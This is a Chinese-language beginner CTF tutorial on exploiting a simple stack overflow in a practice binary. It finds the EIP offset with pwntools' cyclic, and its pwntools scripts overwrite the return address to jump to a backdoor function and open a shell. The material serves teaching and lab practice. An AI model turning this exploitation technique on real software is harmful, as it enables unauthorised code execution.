pwn从入门到放弃第五章——最简简简简简简单的栈溢出

现在我们来介绍一下最简单的栈溢出吧

首先先来下载一个程序

pwn_level1

下载完之后，我们用32位的ida打开

反编译看到main函数

这里很明显就有一个栈溢出

我们把程序复制进虚拟机中

然后会显示./pwn_level1: No such file or directory

这是因为我们装的是64位系统，而这个程序是32位的

我们可以执行下面的命令，安装一些东西来运行32位程序

1	apt-get install lib32z1 lib32ncurses5

安装完之后，再运行程序

这样就能正常的运行和调试了

第一步，计算控制程序eip所需要的字符数量

到了这里，需要有一些汇编的基础

这里给下几篇简单入门的教程，不过最好可以系统的学一下，书我推荐王爽的《汇编语言》

X86汇编快速入门

从一段x86汇编程序看计算机是如何工作

看完上面那两个教程之后，我们来计算一下控制程序eip所需要的字符数量

cd 到Desktop，然后输入

1	vim level1.py

对了，这里还需要简单学一下vim的操作

Vim教程

简单学一下基础就可以了，不用学得太深

我们在level1.py里面写入下面的代码

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(cyclic(0x100))

p.interactive()

保存，然后在terminal下面运行

1	python level1.py

运行之后会出现

在gdb那个窗口下面输入c，然后回车

发现程序停在了这里，这是因为我们栈溢出，控制了eip，eip变成0x65616161，但是这个地址跳转不了

1	print(cyclic_find(0x65616161))

在代码后面加上这句

然后再运行一次，打印出13，看来偏移是13

所以我们只要填充13个字符就能控制到eip了

第二步，跳转到后门

我们在ida里面看到

有一个后门函数，地址是在804849A开始的

我们如果想跳转到这里，只要填充13个字符，再加上p32(0x804849A)就可以了

所以最终的payload是

from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send('a'*13+p32(0x804849A))


p.interactive()

运行一下，在运行脚本那个terminal输入ls，可以看到打印了桌面的文件